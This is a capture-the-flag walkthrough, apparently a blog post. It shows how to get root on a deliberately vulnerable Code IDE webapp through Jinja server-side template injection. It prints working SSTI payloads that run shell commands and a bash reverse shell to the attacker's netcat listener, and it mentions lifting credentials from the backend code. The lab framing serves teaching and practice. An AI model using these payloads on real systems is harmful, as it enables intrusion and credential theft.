CTF [Dec 11–15]: Pwn a buggy webapp in 5 minutes
In this post, I will be talking about an intentional bypass that allows you to get root and solve the whole WebApp Security CTF under 5 mins!

Try the challenge yourself: https://attackdefense.com/challengedetails?cid=2160

Note: If you want a organized solution where all the flags are retrieved in the order, then take a look at the manual.

Scenario:

We get a Code IDE webapp that shows a login page:

Code IDE webapp

Hacking our way in!

Enter any random credentials and try to login:

Login attempt using some random credentials

Note: Use Burp proxy to intercept all the requests.

Notice that the request goes to port 8000 of the target machine!

Let’s try and access the API in the browser:

Uh no! Page Not Found :/

Try to access some random page:

Oh nice! Page name gets reflected

Awesome, so the page name gets reflected in the response.

Check the response of the above request in the HTTP History tab in Burp:

Response indicates of Python (Werkzeug) backend

The backend is Python-based (Werkzeug WSGI utility is used)!

Try to see if the page is vulnerable to SSTI (Server-Side Template Injection):

URL: 192.248.251.3:8000/{{7*’7'}}

Awesome! The backend is vulnerable to SSTI

The response makes me really happy! The backend is vulnerable to SSTI and it is probably using Jinja template at the backend!

Try running shell commands now:

SSTI Payload: {{config.__class__.__init__.__globals__[‘os’].popen(‘ls’).read()}}

Fantastic! We can execute shell commands as well

Next step would be to get a shell session!

Getting the IP address of the attacker machine:

Checking the IP address of the attacker machine

Start a netcat listener on the attacker machine to receive back the shell session:

Started a netcat listener on port 4444 on the attacker machine

Send the following SSTI payload to the backend API:

SSTI Payload: {{config.__class__.__init__.__globals__[‘os’].popen(“bash -c ‘bash -i >& /dev/tcp/192.248.251.2/4444 0>&1’”).read()}}

Notice the terminal where the netcat listener was started:

Wow! Is that a root shell :D

Yes we are root!

Now its just simple from here… Just use grep and find commands and take out the flags :D

The database credentials can be found in the backend API code and that would let you get the root credentials.

Also, there was one more flaw -
['Shivam Bathla']
['Ctf', 'Security', 'Information Technology', 'Cybersecurity', 'Hacking']